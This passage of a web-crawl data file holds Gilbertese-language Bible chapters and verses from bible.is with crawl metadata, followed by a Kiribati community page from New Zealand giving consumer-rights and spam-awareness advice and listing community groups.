nakoia ekaretia nako ae I tuai ni karaoia nakoimi? Ma ti aei, bwa I aki karawaawataingkami. Kabwara au bure n te kaairua aei. 14 Noria, I a tauraoi ngkai ni kawaringkami te katenua n tai, ao N na aki karawaawataingkami; bwa I aki ukoukori ami bwai, ma I ukoukoriingkami: bwa e aki riai bwa a na kaiko bwaai naati i bukiia kaaro, ma a na kaiko bwaai kaaro ibukia naati. 15 Ma moan te kukurei ngai bwa N na kabane au bwai, ma n anga boni ngai, ibukini maiumi. E na karako tangirau iroumi ibukina ngkai I rangi n tangiringkami? 16 Ma n arona, I bon aki karawaawataingkami; ma a taku tabemwaang bwa ibukin arou ni bwaati n rabakauakina aron te aomata, ao I a tia ni kamwaneingkami iai. 17 Iai i buakoia ake I kanakoia nakoimi ae I kaboo-nganaia bwa kawaiu ni burebureingkami n anai ami bwai mai iroumi? 18 I butiia Tito bwa e na nakoimi, ao I kanakoa te taari temanna ma ngaia. E burebureingkami Tito n anai ami bwai? Tiaki ti te bo aron nanora ni baika ti karaoi? Tiaki ti te bo arora? 19 Kam a tia ni kaman iangoia i nanomi bwa ti karekei aonara nakoimi. Ti taetae i matan te Atua i nanoni Kristo, bwa a karaoaki bwaai ni kabane ibukini kateimatoaami, raou aika kam tangiraki. 20 Bwa I maaku, bwa I kaawa n roko ao I nooringkami bwa tiaki aron ae I tangiria, ao ngkami kam noorai bwa tiaki naba aron ae kam tangiria; bwa a kaawa n nooraki iroumi taiani kauntaeka, ma te bakantang, ma uun, ma unra i marenaia ami bootaki nako, ma taeka ni kammaraki nano ma winanti, ma aaro ni kainikatonga, ma mwebuaka. 21 Ao I maaku naba, bwa I kaawa ngkana I roko riki ao N na karinanoaki iroun Atuau i matami, ao N na kaatuumaua te tang i bukiia te koraki ake a tia ni bure ao a tuai men rairi nanoia man te kammaira, ma te wene ni bure, ma te tamware.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/12","date":"2013-05-22T16:25:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701943764\/warc\/CC-MAIN-20130516105903-00093-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":746,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.465,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 9:24\n24 Bwa Kristo E aki rin nako nanon te tabo are e tabu, are e karaoaki ni bain te aomata, ao are katootoongan te oi ni bwai ni koaua; ma E bon rin i karawa, bwa E aonga ni kaoti i matan te Atua i bukira.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/9\/24","date":"2013-06-18T23:05:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707436332\/warc\/CC-MAIN-20130516123036-00093-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000019073486328}","num_words":65,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.369,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ao E weteiia ana reirei Iesu ake tengauni ma uoman, ao E anganiia te mwaaka i aoia taamnei aika a kamwaraa bwa a na kanakoia, ao te mwaaka ni katoki aoraki ni kabane ma mamaara ni kabane. 2 Aikai araia taan tuatua ake tengauni ma uoman: te moa n ara bon Timon, are arana teuana Betero, ao Anterea are tarina; ao Iakobo are natin Tebetaio, ao Ioane are tarina; 3 ao Biribo, ao Bwaretoromwaio; ao Toma, ao Mataio are te tia anai taekiti; ao Iakobo are natin Arebwaio, ao Tataio; 4 ao Timon are te Kananaian, ao Iuta are e aranaki bwa Itekariota, are e kamwanea Iesu. 5 E kanakoia uaaka tengauni ma uoman Iesu, ao E tuangiia ni kaangai, Tai nako n taabo aika a mena iai aomata akana a tiaki I-Iutaia, ao tai rin n aia kaawa I-Tamaria; 6 ma kam na nakoia Iteraera ake a tia n riki bwa kaanga tiibu aika a bua. 7 Ao ngkana kam nako, ao aei kanoan ami kabwarabwara: E a kaan roko uean te Atua. 8 Kam na kamaiuiia akana a aoraki; kamaiuiia akana a tia ni mate; katoki reeberaia akana a reebera, ao kanakoia taimonio. I a tia n anganingkami te mwaaka ni karaoi baikai n akea boona mai iroumi. Ma ngaia are kam na nako ao karaoi naba baikai nakoia temwaangina n akea boona. 9 Tai ua mwane; 10 ao tai uoti nneni kanami ibukini mwanangami, tai uoti uoua te kabaraaki, tai ua kauniwae, ao tai ua oko; bwa e riai bwa e na anganaki te tia mwakuri baika e kainnanoi ibukini maiuna. 11 Ao ngkana kam rin n te kaawa teuana ae e buubura ke ae e uarereke, ao kam na kakaaea iai ane e tauraoi ni butimwaaingkami, ao tiku irouna ni karokoa kam nako maiai. 12 Ao ngkana kam rin n te auti teuana, ao kam na kamauriia kaaina. 13 Ao ngkana a butimwaaingkami, ao tataro nakon te Atua bwa E na kakabwaiaia; ma ngkana a aki butimwaaingkami, ao butiia te Atua bwa E na aki mwannanoa ami tataro are kam buubuti iai bwa a na kakabwaiaaki. 14 Ao ngkana akea temanna i buakoia ae e mwaneingkami n akoingkami, ke e aki ongo ami taeka, ao kam na taei bubun aontano mai waemi ngkana kam kiitana te kaawa are e abwaabwaki arei, bwa kaotan ae kam a rawa mai irouia. 15 E koaua ae I a tuangkami bwa e beebete riki te rekenikai are e na reke nakoia I-Totom ma I-Komora, n te bongi ni motiki-taeka, nakon are e na reke nakoia. 16 Noria, I kanakoingkami bwa kaanga tiibu i buakoia kameaanti; ma ngaia are kam na wanawana n ai aroia naeta, ao kam na nimamannei n ai aroia taobe. 17 Kam na kaawakiningkami mai irouia aomata; bwa ane a na kateingkami i matani kaboowi, ao ane a na oreingkami i nanoni mwaneabaia I-Iutaia; 18 ao ane kam na katikaki nako mataia taan tau-taeka ma ueea i bukiu, ma kam na taekina te koaua nakoia ao nakoia aomata akana tiaki I-Iutaia. 19 Ngkana a kateingkami, ao tai katabei nanomi n iangoi aromi bwa kam na kangaa n taetae, ke tera ae kam na taekinna; bwa ane kam na anganaki baike kam na taekin n te aoa naba arei. 20 Bwa tiaki ngkami ake kam taetae, ma bon Taamnein Tamami are e taetae mai iroumi. 21 Ao te mwaane ane e na anga tarina bwa e na tiringaki, ao ai aron naba are e na karaoia te tama nakon natina; ao ane a na tei rake naati n ekiia nako aia karo ao a na anga bwa a na tiringaki; 22 ao ane kam na ribaaki irouia aomata ni kabaneia ibukin arau. Ma ane e nanomwaaka ni karokoa matena, ao e na kamaiuaki. 23 Ngkana a bwainikiriningkami n te kaawa teuana, ao kam na biri nakon te kaawa are teuana; bwa e koaua ae I a tuangkami, bwa a na aki bane n tia ami mwakuri i nanon aia kaawa nako Iteraera i mwaain rokon Natin te Aomata. 24 E aki kakannato riki ane e reireiaki nakon ana tia reirei, ke te toro nakon ana toka. 25 E na rau nanon ane e reireiaki ngkana e reke irouna katootoongan aron ana tia reirei, ao ai aron naba te toro ngkana e reke irouna katootoongan aron ana toka. Ngkana a atonga mataniwiin te utu aomata bwa Beretebubwa, ao ai bati ra riki irouia atongaia kaain ana utu n aara aika a bubuaka riki! 26 Ma ngaia ae kam na tai maakuia; bwa akea te bae e rabunaki ae e na aki kaotaki, ao ae e karabaaki ae e na aki ataaki. 27 Ae I tuangkami n te roo, ao kam na taekinna n te ngaina; ao ae kam ongo irou ngke ti ngaira, ao kam na takaaruaia i aon taubukin auti. 28 Kam na aki maakuia akana a kamatea te rabwata ma a aki konaa ni kamatea te aomata ni koaua ane i nanon te rabwata; ma kam na maaka Teuare e konaa ni kamatea i Keenna te rabwata ma te aomata ni koaua ane i nanon te rabwata. 29 Tiaki a kabooaki uoman te tibwaaro n te bo ae e rangi n uarereke? Ao bon akea temanna i buakoia ae e na bwaka i aontano ngkana tiaki nanon te Atua. 30 Ao ae e a moamoa riki, a bane ni warekaki iran atuum i. 31 Ma ngaia ae kam na tai maaku; bwa kam boongana riki nakoia tibwaaro aika a bati. 32 Ma ngaia aei, bwa ane e kaotia i mataia aomata bwa raona Ngai, ao Ngai I a manga kaotia i matan Tamau are i karawa bwa raou ngaia. 33 Ma ane e kaakeaa i mataia aomata, ao Ngai I a manga kaakeaa naba i matan Tamau are i karawa. 34 Tai taku i nanomi bwa I roko bwa N na uota te raoi nako aonnaba: I aki roko bwa N na uota te raoi, ma I roko bwa N na uota te kabaang. 35 Bwa I roko bwa N na kauna te nati te mwaane nakon tamana, ao te nati te aine nakon tinana, ao te ainenumwa nakon tinani buuna; 36 ao ane a na riki ana utu te aomata bwa ana kairiribai. 37 Ane e tangira riki tamana ma tinana nakoiu, ao e aki tau bwa e na riki bwa au reirei; ao ane e tangira riki natina te mwaane ke natina te aine nakoiu, ao e aki tau bwa e na riki bwa au reirei. 38 Ao ane e aki uota ana kaibangaki n iriirai n ri mwiiu, ao e aki tau bwa e na riki bwa au reirei. 39 Ane e kaawakina maiuna, ao e na boni kabua; ao ane e kabuaa maiuna i bukiu, ao e na boni karekea. 40 Ane e mwaneingkami n akoingkami, ao e mwaneai n aakoai; ao ane e mwaneai n aakoai, ao e mwanea n aakoa Teuare e kanakoai. 41 Ane e mwanea n aakoa te buraabeti ibukina bwa te buraabeti, ao e na karekea kaniwangana ae ti te bo ma te kaniwanga ibukin te buraabeti; ao ane e mwanea n aakoa te aomata ae e raoiroi, ao e na anganaki te kaniwanga ae ti te bo ma te kaniwanga ibukin te aomata ae e raoiroi. 42 Ao ane e anga ti te mwangko n ran ae e mwaitoro nakon temanna i buakoia aika a uarereke aikai ngkae e atongaki bwa au reirei, ao e koaua ae I a tuangkami bwa e na bon anganaki kaniwangana.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/10","date":"2013-05-21T17:17:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700264179\/warc\/CC-MAIN-20130516103104-00067-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1208,"character_repetition_ratio":0.048,"word_repetition_ratio":0.012,"special_characters_ratio":0.239,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ngke e a toki te taabati, ngke e a kaan otin taai ni moani bongin te wiiki, ao e nako Nei Maria are te I-Mwaketara ma Nei Maria are temanna, ni kawara te nne ni mate bwa a na nooria. 2 Ao nooria, e roko mwaeiein te aba ae e korakora; bwa e ruo mai karawa ana anera te Atua, ao e roko ni karabinoa nako te atiibu, ao e tekateka i aona. 3 Ao e oota ubuna kaanga ai aron te iti, ao e mainaina kunnikaina n ai aron te tinoo. 4 A rurubenebene tautia ake a tantani bwa a maaku, ao a riki bwa kaanga ai aroia maate. 5 Ao e taku te anera nakoia aine akekei, Kam na aki maaku, bwa I ataingkami bwa kam ukoukora Iesu are e kamateaki n te kaibangaki. 6 Akea ikai, bwa E a tia ni manga maiu, n ai aron are E a tia n taku. Nako mai, noora te tabo are E wene iai. 7 Ao kawaetataingkami n tuangiia ana reirei bwa E a tia ni manga maiu mai buakoia maate; ao nooria, are E a ri moami nako Kariraia; ane kam na nooria ikekei. Noria, I a tia n tuangkami. 8 Ma ngaia are a kawaetataia n nako man te nne ni mate ma te maaku ao te kukurei ae e bati, ao a biri nako n tuangiia ana reirei. 9 Ao nooria, E bo ma ngaiia Iesu, ao E taku, Kam na mauri. Ao a nakoina n taua waena, ao a taromauriia. 10 E taku Iesu nako ia, Kam na aki maaku; kam na nako n tuangiia tariu bwa a na nako Kariraia, ao ane a na noorai ikekei. 11 Ngke a mwananga nako, ao nooria, iai tautia tabemwaang mai buakoia taan tantani ake a nako n te kaawa ao a tuangiia ibonga ake mataniwi taekani bwaai ni kabane ake a a tia n riki. 12 A bootaki ibonga ake mataniwi ma unimwaane ni karekei aia iango; ao a angania tautia te mwane ae e bati, 13 ao a taku, Kam na kaangai nakoia aomata, A roko ana reirei n te bong ao a iraea rabwatana ngke ti matuu. 14 Ao ngkana e ongo aei te tia tau-taeka, ao ti na karaua nanona; ao ti na taraia bwa e na akea te kaangaanga ae e na reke nakoimi. 15 Ma ngaia are a anaa te mwane ao a karaoa aron are a a tia n tuangaki; ao te rongorongo arei, are taekaia ana reirei bwa a iraea rabwatana, e a tia ni buta nako irouia I-Iutaia ni karokoa te bong aei. 16 A nako Kariraia ana reirei Iesu ake tengauni ma temanna nakon te maunga are E a tia n tuangiia Iesu bwa a na nako iai. 17 Ao ngke a nooria, ao a katorobubua ni bobaraaki n taromauriia; ma iai tabemwaang i buakoia aika a nanokokoraki. 18 Ao E roko Iesu, ao E taku nako ia, I a tia n anganaki te mwaaka ni kabanea i karawa ao i aonnaba. 19 Ma ngaia ae kam na nako ni karikia aomata nako bwa au reirei, ni bwaabetiitoiia nako nanon aran te Tama ma te Nati ma te Taamnei are e Raoiroi, 20 ao n reireiniia bwa a na iri nanoni bwaai ni kabane ake I a tia n tuangkami; ao nooria, I a meemena iroumi n taai nako ni karokoa tokin aonnaba.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/28","date":"2013-05-19T22:32:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698104521\/warc\/CC-MAIN-20130516095504-00006-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":545,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.47,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Taari, ngkana e bure te aomata temanna, \"ngkana e kuneaki bwa e bure te aomata temanna.\" ao ngkami akana kam kairaki iroun te Taamnei, kam na manga kaetia n te nano ae e nimaamannei; ma ko na tarataraiko, bwa ko kaawa ni manga kariiriiaki naba ngkoe. 2 Kam na ibuobuoki n uotami, ao kam na toua mwiin ana tua Kristo iai. 3 Bwa ngkana e taku temanna n ana iango bwa e kakannato, ngke e bon aki, ao e burebureia. 4 Ma a na kataa oin aia mwakuri aomata n tatabemaniia nako bwa a uara, ao ane e na kamoamoa te aomata i nanona n ti ngaia n are e a tia ni karaoia. E na aki kabootaua are e karaoia ma are e karaoia temanna. 5 Bwa a na bon uoti oin uotaia aomata n tatabemaniia nako. 6 Ao ane e reireiaki ana taeka te Atua e na buokanibwai ni baika a raraoi ma te tia reirei. 7 Kam na tai burebureaki; E aki konaaki ni mwaamwanaaki te Atua: bwa te bae e unikia te aomata, ao e na manga anaa naba uaana. 8 Bwa ane e ira nanon rabwatana ao e na anaa mwiina ae te mate man te rabwata; ao ane e ira nanon te Taamnei, ao e na anaa mwiina ae te maiu are e aki toki mai iroun te Taamnei. 9 Ma a na tai toki nanora ni kaakaraoa ae e raoiroi, bwa ti a bon tai anai mwiin ara mwakuri n te tai ae e riai, ngkana a aki bwara nanora. 10 Ma ngaia ae ti na kaakaraoa ae e raoiroi nakoia aomata ni kabaneia, n aron ae ti kona, ao ai moara riki nakoia kaain te utu n onimaki. 11 Nori manin au koroboki aika I koroi n oini baiu bwa ai buubura ra! 12 A imanonoingkami te koraki akana a kani bakantamaaroa n aron te maiu n rabwata bwa kam na koroberoaki; bwa ti ibukin aei, bwa a aonga n aki bwainikiriinaki ibukin tataekinan ana kaibangaki Kristo. 13 Bwa a aki toua naba mwiin te Tua te koraki ake a koroberoaki; ma a tangiringkami bwa kam na koroberoaki, bwa a aonga ni kamoamoaia n aromi ni kariaia. 14 Ma ngai, I bon aki kani kamoamoaai n te bwai teuana, ma ti n ana kaibangaki ara Uea are Iesu Kristo; bwa n ana kaibangaki ao ai aron ae e mate te aonnaba nakoiu, ao ngai nakon te aonnaba. 15 Bwa e aki kakaawaki te koroberoaki ke te aki-koroberoaki, ma e kakaawaki reken te maiu ae e boou ni maiun te aomata. 16 E na mena i aoia akana e reke irouia te aro aei te rau ma te nanoangaaki, ao i aoia naba ana Iteraera te Atua. 17 Kabanean au taeka: Akea ae e na kariki baika N na aki rau iai; bwa I uoti mwiin kain te Uea are Iesu n rabwatau. 18 E na mena ana aakoi ara Uea are Iesu Kristo irouia taamneimi, taari. Amene.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/6","date":"2013-05-25T15:42:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705957380\/warc\/CC-MAIN-20130516120557-00010-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":478,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.473,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 2:11\n11 Bwa Iesu ni bootaki ma ake a riki n tabu maiuia irouna bwa ana bwai te Atua a bane n nako man te oi ae ti teuana. Ma ngaia ae E aki maamaa n atongiia bwa tarina,\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/11","date":"2013-05-19T11:43:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697442043\/warc\/CC-MAIN-20130516094402-00022-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000029802322388}","num_words":57,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:36\n36 Ma kam na tantani n taai nako ao tataro bwa e aonga n reke iroumi te marurung are kam na konaa iai ni biri nako mani baika a nang roko, ao te konaa n tei i matan Natin te Aomata.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/36","date":"2013-06-19T07:14:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708143620\/warc\/CC-MAIN-20130516124223-00030-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9998698235,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998698234558105}","num_words":60,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ma ngaia ae ti na aki toki ni baike ti moa n reireiaki iai n taekan Kristo, ma ti na waaki rake nakon reirei n ikawai; ao ti na tai manga titiku n taekani baika kam moa n reireiaki iai, ake taekan te rairan nano mani mwakuri aika akea uaaia, ao taekan onimakinan te Atua, 2 ma taiani bwabetito, ma katokaani baai, ma manga-maiuia maate, ma te motiki-taeka ae e aki toki. 3 Ao ti na karaoa aei, ngkana E kariaia te Atua. 4 Bwa aomata aika a tia n reke irouia te oota, aika a tia ni katoonga te bwai n tituaraoi mai karawa, aika a tia n anganaki naba te Taamnei are e Raoiroi, 5 ao a a tia naba n reke irouia ana taeka ae e raoiroi te Atua ma mwaakan te aba ae e nangi roko, 6 ngkana a kiitana te onimaki, ao a bon aki konaaki ni kaokaki nakon rairan te nano ibukina ngkai a manga taura Natin te Atua n te kaibangaki i bon i bukiia, ao a karaoa ae E na kamaamaaeaki iai irouia aomata. 7 Bwa e kakabwaiaaki iroun te Atua te tano ae a tia n oonga te karau ae e bwaabwaka i aona, ae e kariki aroka aika a boongana nakoia akana e ribanaaki i bukiia. 8 Ma ngkana e kariki kaai aika a kateketeke ma kaai aika akea boonganaia, ao e aki boongana; e a kaan rekeni kaina, ao n tokina e na kabuokaki. 9 Ma ti bon aki nanokokoraki iroumi, ngkami aika kam tangiraki, ngkana tao ti taetae n te aro aei; bwa ti ataia bwa a a tia n reke iroumi taiani kabwaia aika a raraoi riki aika a reitaki ma aroni kamaiuami. 10 Bwa E aki riibuaka te Atua ni mwanuoki taekan ami mwakuri ake kam karaoi ibukina, ma ami tangira are kam kaotia ibukina, ngke kam a tia n anga ami buobuoki, ao ae kam bon teimatoa naba iai i bukiia ake a itiaki. 11 Ma ti tangiringkami n tatabemaningkami nako bwa kam na kaota te ingainga n nano ae ti te arona ni karokoa te toki, bwa kam aonga ni koaua raoi ni bwaai aika kam kaantaningai bwa a boni koaua: 12 bwa kam na aki taningaroti, ma kam na kakairi irouia ake a tia ni karekea kanoan te taeka n aakoi ibukin aia onimaki ma aia taotaonaki n nano. 13 Ngke e anganaki Aberaam te taeka n aakoi iroun te Atua, ao E tuea i bon irouna, ngke akea riki temanna ae e kakannato riki nakoina are E konaa ni kamanenaa arana ngkana E tuea; 14 ao E kaangai, Bon te koaua bwa N na kakabwaiako, ao N na kabatiaia am kariki ni boni kabatiaia. 15 Ao ibukin aron Aberaam n taotaona nanona, ao e a reke irouna mwiin te taeka n aakoi arei. 16 Bwa ngkana a taetae n tuea aomata ao a kaboonganai araia ake a kakannato riki nakoia; bwa te taeka ni berita boni ngaia ae katoki kauntaeka ni bane. 17 Ma ngaia aei, bwa te Atua ngke E kani kaota raoi nakoia taani bwaibwai n te taeka n aakoi bwa E aki konaa ni bita nanona are iai, ao E kamatoaa ana taeka n aakoi n te taeka ni berita, 18 bwa ti aonga ni karekea kakorakoraan nanora ae bati ni baika uoua aikai aika a aki bibitaki, aika ti aki konaa ni keweaki iai iroun te Atua, ngaira aika ti biri nako bwa ti na taua te kaantaninga are e kamenaaki i mwaaira. 19 Ao iai iroura te kaantaninga ae ti taua bwa kaanga atinroni maiura, ae te atinro ae e matoatoa ae e nene, are e rin i nanon te ru are moan te tabu are i akuun te roki are te kunnikai i nanon te umwantabu i karawa, 20 ike E a tia n rin iai Iesu i bukira, ae te tia ri-moara; ao E riki bwa te Ibonga ae e Kakannato n aki toki, n ai aroni Merekitereka.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/6","date":"2013-06-19T19:41:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368709101476\/warc\/CC-MAIN-20130516125821-00085-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":644,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.47,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 2:12\n12 ao ngke kam bwaabetitooaki, ao ti te bo ma kam taunaki ma Ngaia ao kam a manga uaia ni manga maiu ma Ngaia ibukina bwa kam onimakina ana mwakuri te Atua are E a manga kamaiua man te mate.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/12","date":"2013-05-22T16:06:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701943764\/warc\/CC-MAIN-20130516105903-00068-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999941587,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.999994158744812}","num_words":59,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"OUR COMMUNITY\nBaika ko riai n atai imwain rokom ke inanon am tai n tiku iaon Nu Tiran\nKoa tibwa roko iaon Nu Tiran? Ko nang maeka ke ko bon roko ni kawariia am koraki? Nu Tiran bon te aba ae kaokoro ma Kiribati, te katei te aroaro ao a bati riki. Kain Kiribati a tabe ngkai n rinanon aekan katein maeuia kain te aba aio. Nu Tiran bon abaia kain Maori, ao anne are e kinaaki n te boraraoi ae Treaty of Waitangi. Moan te kakawaki bwa kona karekea moa buokam mai irouia am koraki ke raraom iaon itera aikai, te onaoraki, te reirei, te immigration, te tangomwane, karekean am IRD, am insurance, ao te hire purchase.\nE kaokoro naba naba tein aia tii (accent) kain Nu Tiran. E kakawaki bwa kona buokaki iaon itera aikai, kakaean te tabo ae kona maeka iai ma am utu, te reirei are a na reirei iai am ataei. N angiin te tai ao ngaira ake tia kaman roko ti rawa ni kaotii kangaanga ake tia tia n aitara ma ngaai. Ngkana ko bon tangiria ni karekei kamataata iaon itera aikai ma buokam, ao waekoa reitaki nakon Pacific Micronesian Foundation bwa e na kaotii taabo ake a kona n reke mai iai buokam.\nUringnga are akea te kamaama n te titiraki ni kan oota, e raoiroi riki nakon ae kona kana uakakana imwiina.\na. Inaomatan te tia kabonganai bwaai (products) ke ibuobuoki (services).\nBaika ko riai n ataia ibukia aomata ake a kawariko ian am auti ni kabonako aia kako ke ibuobuoki.\nIai te tua ae The Door to Door Sales Act are e tararuai kabobwai imatam am mataroa. Aio are e irekereke ma kawarakim irouia tenaan salesmen, ke aomata ake a kawari auti ni kaboinako aia bwai (products) ke aia mwakuri (services).\nTai maama n tuanga te aomata anne are kona iangoia moa, tai tiainaa te contract ane anganiko, reitaki ma aobitin te Consumers iaon 04 474 2750 ke 0508 627 774)\nTe tua ae te Door to Door Sales Act e tii mwakuri ngkana e bon kawariko te aomata ian am auti, ke e tareboniiko ke iai te reta ke te katanoata ae nikiraki n am meeri (mail box). Ibukin rongorongona ae bwanin ko kona n noora aia website, http:\/\/www.consumeraffairs.govt.nz, ke email nakon email@example.com bwa tina buokiko iai.\nUringnga naba are iai te tua ae te Consumers Protection Act are e kataniia taan kabonganai bwaai (products) ke ibuobuoki (services). Tai mwaninga ni karekea moa buokam ma kaotaakim imwain ae ko tiaina te contract ke te boraraoi.\nTera te 'spam' ao Nna kanga n ataia?\nTe spam bon te taeka are e kabonganaaki ibukin waaki ni kamwaneia aomata bwa a na a boobai ke n anga nambwan aia bank account. N angin te tai ao a kona n roko iroum messages iaon am mobile, am email ke am meeri bwaki (mail box) ao ko bon aki tuatua bwa a na karokoaki.\nAkanne bon tenaan spam are a na anai nano, ke ni kamwaneia aomata bwa a na anga aia bank account, credit card.\nA kona naba ni korakora aia urubwai nakon am computer. E katautaua te aobiti are e tararuai mwakuri ni kamwane (spam) bwa e nakon 120 te billion mwaitin 'spam' ake a kanakoaki ni katoa bong.\nTai mwaamwane n te spam kee? Ibukin te kan oota riki ao reitaki ma aobitin Anti-Spam Compliance Unit (04) 495 7200 ke noora aia website http:\/\/www.dia.govt.nz\/Services-Anti-Spam-Index\nb. Kiribati community in New Zealand\nThere are approximately 4,000 i-Kiribati now living in New Zealand and call it their home. The majority live in Auckland then in Hamilton, Wellington, Te Puke and Hastings, and Wellington with a few in the South Islands. There are seven Kiribati community groups, Kiribati Rodney Community, Kiribati Waitakere Association, Auckland Kiribati Community Society, Marewen Kiribati Cultural Club and Maurin Kiribati Community. Two in Hamilton, Kiribati Waikato Association, Kiribati Kirikiriroa Cultural Club, Pay of Plenty and Ueen Kiribati in Wellington.\nThere is a national body called New Zealand Kiribati National Council which is the head of the Kiribati community groups in New Zealand. The council consists of three councillors elected by their community. The councillors elected among themselves a President, Vice President, Secretary and Treasurer. Current President of the council is Nikaro Baua from Kiribati Rodney Community Inc.\nThere are two major church groups, NZ Kiribati Protestant Church, and the Kiribati Catholic group with a few others belonging to SDA, LDS and Bahaii. New Zealand has a scheme called Pacific Access Category that accepts 75 Kiribati families every year to migrate, work and live permanently in New Zealand. Please email firstname.lastname@example.org should you want to get in touch with any Kiribati community in New Zealand.\nc. Community events and stories\nSend us your community notices, stories with photographs and a brief caption explaining about the photo, where and when it is taken.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.thekiribatiindependent.co.nz\/our-community.html","date":"2013-06-20T03:19:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368710196013\/warc\/CC-MAIN-20130516131636-00068-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9996994734,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 